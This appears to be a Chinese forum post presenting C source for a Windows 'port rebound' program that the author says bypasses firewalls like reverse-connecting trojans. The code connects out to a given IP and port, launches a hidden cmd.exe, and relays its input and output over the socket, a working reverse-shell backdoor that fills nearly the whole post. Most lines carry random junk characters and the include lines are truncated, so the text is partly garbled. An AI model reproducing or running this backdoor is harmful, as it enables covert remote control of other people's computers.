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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ZM%z"hO9R  
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/* ============================== f@a@R$y  
Rebound port in Windows NT R9z^=QKcH  
By wind,2006/7 )vFZl]  
===============================*/ (e;9 ,~u)  
#include Qvd$fY**  
#include ZXj;ymC'  
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#pragma comment(lib,"wsock32.lib") %Sdzr!I7*  
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void OutputShell(); [oQ&}3\XJ  
SOCKET sClient; ){oVVLs  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;|LS$O1c  
vYNh0)$%F  
void main(int argc,char **argv) IlcFW  
{ =Gq 'sy:h  
WSADATA stWsaData; Ng} AEAFp  
int nRet; uvrfR?%QK  
SOCKADDR_IN stSaiClient,stSaiServer; ~=,|dGAa$  
E@_M|=p&  
if(argc != 3) &n:F])`2  
{ $v6dB {%Qu  
printf("Useage:\n\rRebound DestIP DestPort\n"); -R;.Md_  
return; ZK[S'(6q  
} \8!&X cA  
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WSAStartup(MAKEWORD(2,2),&stWsaData); a]465FY  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P~0d'Oi  
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stSaiClient.sin_family = AF_INET; ?~a M<rcZ  
stSaiClient.sin_port = htons(0); <oS k!6*  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); oWpy ^=D_  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) XRI1/2YA  
{ Nky%v+r  
printf("Bind Socket Failed!\n"); d+|8({X]D8  
return; ]*^mT&$7  
} [JGa3e  
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stSaiServer.sin_family = AF_INET; ,F J9C3  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3Lq?Y7#KQp  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); mLO{~ruu  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) zu}h3n5  
{ %f@VOSs  
printf("Connect Error!"); %+G/oF |  
return; Lvc*L6  
} oS$&jd  
OutputShell(); .l*]W!L]  
} WZCX&ui  
Ckvm3r\i2  
void OutputShell() U$pHfNTH  
{ ^G# =>&,  
char szBuff[1024]; 9r7QE&.  
SECURITY_ATTRIBUTES stSecurityAttributes; D;<Q m,[  
OSVERSIONINFO stOsversionInfo; 6[c LbT0  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7BF't!-2F  
STARTUPINFO stStartupInfo; / v;g v[  
char *szShell; tZ=BK:39\  
PROCESS_INFORMATION stProcessInformation; g=[ F W@z  
unsigned long lBytesRead; L"tj DAV  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A A<9 XC  
,I@4)RSAH|  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); X<(h)&E  
stSecurityAttributes.lpSecurityDescriptor = 0; ,+*8 @>c  
stSecurityAttributes.bInheritHandle = TRUE; vUgLWd  
{TdK S  
6yTL7@V|B  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); CQ"IL;y  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); GwwxSB&y  
4I^6[{_  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _e8@y{/~Fd  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?Yg K]IxD  
stStartupInfo.wShowWindow = SW_HIDE; 4\2p8__  
stStartupInfo.hStdInput = hReadPipe; \Ul*Nsw  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; akBR"y:~:H  
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GetVersionEx(&stOsversionInfo); j>?H^fB  
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switch(stOsversionInfo.dwPlatformId) 8+ B.x  
{ bg_Zf7{  
case 1: UY{ Uo@k9x  
szShell = "command.com"; $1\<>sJH  
break; \p@,+ -gX  
default: ahS*YeS7  
szShell = "cmd.exe"; }PyAmh$@  
break; >}O1lsjW:z  
} R.|fc5_"+  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {)ZbOq2  
.(CzsupY_q  
send(sClient,szMsg,77,0); \D,0  
while(1) \#2,1W@  
{ Fdu0?H2TL  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J%f5NSSU{6  
if(lBytesRead) P!B\:B%4~]  
{ zi[bpa17W  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9qQ_#$Vv  
send(sClient,szBuff,lBytesRead,0); t wtGkkC  
} A0O$B7ylQ  
else >V87#E  
{ jDgiH}  
lBytesRead=recv(sClient,szBuff,1024,0); ^bL.|vB  
if(lBytesRead<=0) break; !j%)nU  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @/anJrt  
} 3'u%[bx E  
}  T_jwj N  
=#T6,[5  
return; 5[X^1  
}
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